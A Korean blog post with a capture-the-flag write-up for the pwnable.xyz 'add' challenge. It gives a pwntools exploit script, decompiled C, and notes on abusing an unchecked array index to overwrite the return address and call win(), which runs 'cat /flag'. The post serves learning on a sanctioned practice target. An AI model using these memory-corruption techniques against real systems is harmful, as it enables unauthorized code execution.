security/포너블 - pwnable.xyz

pwnable.xyz - add

민사민서 2023. 2. 5. 01:06
from pwn import *

p = remote("svc.pwnable.xyz", 30002)

# v7 = rbp-0x60
# RET 위치는 rbp+0x8
# 0x68 차이남 (8Byte*13)
win = 0x400822

# printf_got = 0x601028
# ASLR 때문에 스택 위치 랜덤, v7 배열 시작 위치도 계속 바뀔 것
# v7과 printf_got 간 차이를 leak 없이 구하긴 힘들다
offset = (0x7fffffffddc0-0x601048)//8

p.recvuntil("Input: ")
pay = str(int(win))+" "+str(0)+" "+str(int(13))
p.sendline(pay)
# while문 종료시키기
p.recvuntil("Input: ")
p.sendline("a b c")

p.interactive()

 

- 스펙: Partial RELRO, No PIE, NX, Canary found
- IDA로 디컴파일 해보자~
int __cdecl main(int argc, const char **argv, const char **envp)
{
// 자료형 크기 8Byte
  __int64 v4; // [rsp+8h] [rbp-78h] BYREF
  __int64 v5; // [rsp+10h] [rbp-70h] BYREF
  __int64 v6; // [rsp+18h] [rbp-68h] BYREF
  __int64 v7[12]; // [rsp+20h] [rbp-60h] BYREF

  v7[11] = __readfsqword(0x28u);
  setup(argc, argv, envp);
  while ( 1 )
  {
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    memset(v7, 0, 0x50uLL);
    printf("Input: ");
    if ( (unsigned int)__isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
      break;
    v7[v6] = v4 + v5;
    printf("Result: %ld", v7[v6]);
  }
  return 0;
}
int win()
{
  return system("cat /flag");
}


v7[v6]에 v4+v5 값을 집어넣을 수 있다 (index out of range 문제)
Partial RELRO고 No PIE면 got overwrite를 하면 되겠다 - prinf_got(0x601028)을 원가젯으로?
엇 plt,got 테이블에 system함수가 존재하네 (0x400650-system@plt, 0x601020-system@got)
어느 코드에선가 system 함수를 호출한다는 거. (IDA 왼쪽 function list 보면 system 존재)
View->Open subview->Function calls 에서 함수 호출 관계를 확인할 수 있는데
win 함수에서 _system 함수를 호출함을 알 수 있다!! (디컴파일 결과 워후...)

리턴 주소를 덮어쓰자
v7 위치는 rbp-0x60 -> 13번째 원소는 SFP, 14번째 원소는 RET에 해당하네
v7[13] = (win주소) // p win 해서 알 수 있음 

while 함수 종료시키려면 scanf 리턴값이 3이 아니어야 함
함수가 읽어들여 저장에 성공한 데이터 개수가 반환값임 -> 문자 3개를 건네주면 전부 정수형이 아니므로 저장에 실패하고 리턴값 0, 따라서 while문 종료

printf_got을 win 함수 주소로 overwrite 하려고 했는데 됨!! (index 음수여도 괜찮은데 말이지..)
ASLR 때문에 rbp 값이 계속 바뀌어서 그렇지 offset 제대로 구하기만 하면 실행 잘 된다 ㅋㅋ


cf) stdin, stdout으로 libc base 구할 때 
stdout_offset = lib.symbols['_IO_2_1_stdout_']
stdin_offset = lib.symbols['_IO_2_1_stdin_']
이렇게 구하면 됨!

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - note  (0) 2023.02.05
pwnable.xyz - grownup  (0) 2023.02.05
pwnable.xyz - misalignment  (0) 2023.02.05
pwnable.xyz - sub  (0) 2023.02.05
pwnable.xyz - welcome  (0) 2023.02.05